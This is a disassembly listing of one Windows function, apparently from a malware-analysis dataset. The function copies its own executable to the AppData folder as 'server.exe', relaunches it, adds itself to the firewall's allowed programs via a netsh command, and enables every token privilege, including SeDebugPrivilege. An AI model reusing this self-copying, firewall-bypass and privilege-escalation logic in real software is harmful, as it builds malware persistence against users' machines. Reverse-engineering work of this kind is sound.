Function at 0x140001330
Capabilities:
Acquire debug privileges
Copy file
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x14003d010]
xor rax, rsp
mov qword [rbp + 0x580], rax
mov eax, dword [0x140037a50]
lea rcx, [rbp + 0x160]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x48], eax
xor edx, edx
movzx eax, word [0x140037a54]
mov r8d, 0x208
movups xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x4c], ax
call fcn.140008260
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x208
call fcn.140008260
xor edx, edx
lea rcx, [rbp + 0x370]
mov r8d, 0x208
call fcn.140008260
mov r8d, 0x104
lea rdx, [rbp + 0x370]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001464
mov r9d, 1
lea rdx, [rbp + 0x160]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x160]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x140001464
lea rax, [rsp + 0x38]
mov edx, 0xc8
lea r9, [rbp + 0x160]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x50]
call fcn.140004250
lea rax, [rbp + 0x370]
lea r8, [rsp + 0x50]
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001454
add rax, 2
test ecx, ecx
jne 0x140001440
test edx, edx
jne 0x1400014c7
lea rcx, str.same_path__Go_ahead__n
call fcn.1400012c0
xor edx, edx
mov qword [rsp + 0x6a0], rdi
mov r8d, 0x208
lea rcx, [rsp + 0x50]
call fcn.140008260
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001590
xor edx, edx
lea rcx, [rbp + 0x370]
mov r8d, 0x208
call fcn.140008260
mov edx, 0x5c
lea rcx, [rsp + 0x50]
call fcn.140008120
test rax, rax
je 0x1400014f3
add rax, 2
jmp 0x1400014f8
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x370]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001464
lea rcx, [rsp + 0x50]
call fcn.1400042b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rax, [rsp + 0x50]
lea r9, [rbp + 0x370]
sub r9, rax
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rax]
mov word [r9 + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140001510
lea rdx, [rbp + 0x370]
lea rcx, str.szFileName___s_n
call fcn.1400012c0
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x208
call fcn.140008260
lea rax, [rbp + 0x370]
mov edx, 0xc8
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x160]
call fcn.140004250
lea rdx, [rbp + 0x160]
lea rcx, str.cmdline___s_n
call fcn.1400012c0
lea rcx, [rbp + 0x160]
call fcn.1400042b0
call fcn.140004370
xor edi, edi
mov qword [rsp + 0x30], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001777
lea rcx, str.SeAssignPrimaryTokenPrivilege
mov qword [rbp + 0x40], rdi
mov qword [rsp + 0x58], rcx
lea rax, str.SeCreateTokenPrivilege
lea rcx, str.SeLockMemoryPrivilege
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rcx
mov ebx, edi
lea rcx, str.SeIncreaseQuotaPrivilege
mov qword [rsp + 0x68], rcx
lea rcx, str.SeUnsolicitedInputPrivilege
mov qword [rsp + 0x70], rcx
lea rcx, str.SeMachineAccountPrivilege
mov qword [rsp + 0x78], rcx
lea rcx, str.SeTcbPrivilege
mov qword [rbp - 0x80], rcx
lea rcx, str.SeSecurityPrivilege
mov qword [rbp - 0x78], rcx
lea rcx, str.SeTakeOwnershipPrivilege
mov qword [rbp - 0x70], rcx
lea rcx, str.SeLoadDriverPrivilege
mov qword [rbp - 0x68], rcx
lea rcx, str.SeSystemProfilePrivilege
mov qword [rbp - 0x60], rcx
lea rcx, str.SeSystemtimePrivilege
mov qword [rbp - 0x58], rcx
lea rcx, str.SeProfileSingleProcessPrivilege
mov qword [rbp - 0x50], rcx
lea rcx, str.SeIncreaseBasePriorityPrivilege
mov qword [rbp - 0x48], rcx
lea rcx, str.SeCreatePagefilePrivilege
mov qword [rbp - 0x40], rcx
lea rcx, str.SeCreatePermanentPrivilege
mov qword [rbp - 0x38], rcx
lea rcx, str.SeBackupPrivilege
mov qword [rbp - 0x30], rcx
lea rcx, str.SeRestorePrivilege
mov qword [rbp - 0x28], rcx
lea rcx, str.SeShutdownPrivilege
mov qword [rbp - 0x20], rcx
lea rcx, str.SeDebugPrivilege
mov qword [rbp - 0x18], rcx
lea rcx, str.SeAuditPrivilege
mov qword [rbp - 0x10], rcx
lea rcx, str.SeSystemEnvironmentPrivilege
mov qword [rbp - 8], rcx
lea rcx, str.SeChangeNotifyPrivilege
mov qword [rbp], rcx
lea rcx, str.SeRemoteShutdownPrivilege
mov qword [rbp + 8], rcx
lea rcx, str.SeUndockPrivilege
mov qword [rbp + 0x10], rcx
lea rcx, str.SeSyncAgentPrivilege
mov qword [rbp + 0x18], rcx
lea rcx, str.SeEnableDelegationPrivilege
mov qword [rbp + 0x20], rcx
lea rcx, str.SeManageVolumePrivilege
mov qword [rbp + 0x28], rcx
lea rcx, str.SeImpersonatePrivilege
mov qword [rbp + 0x30], rcx
lea rcx, str.SeCreateGlobalPrivilege
mov qword [rbp + 0x38], rcx
nop dword [rax]
nop word [rax + rax]
xor ecx, ecx
lea r8, [rsp + 0x3c]
mov rdx, rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rcx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x44], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rbx, [rbx + 1]
mov rax, qword [rsp + rbx*8 + 0x50]
test rax, rax
jne 0x140001720
mov rdi, qword [rsp + 0x6a0]
mov eax, 1
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.140005010
mov rbx, qword [rsp + 0x6a8]
add rsp, 0x690
pop rbp
ret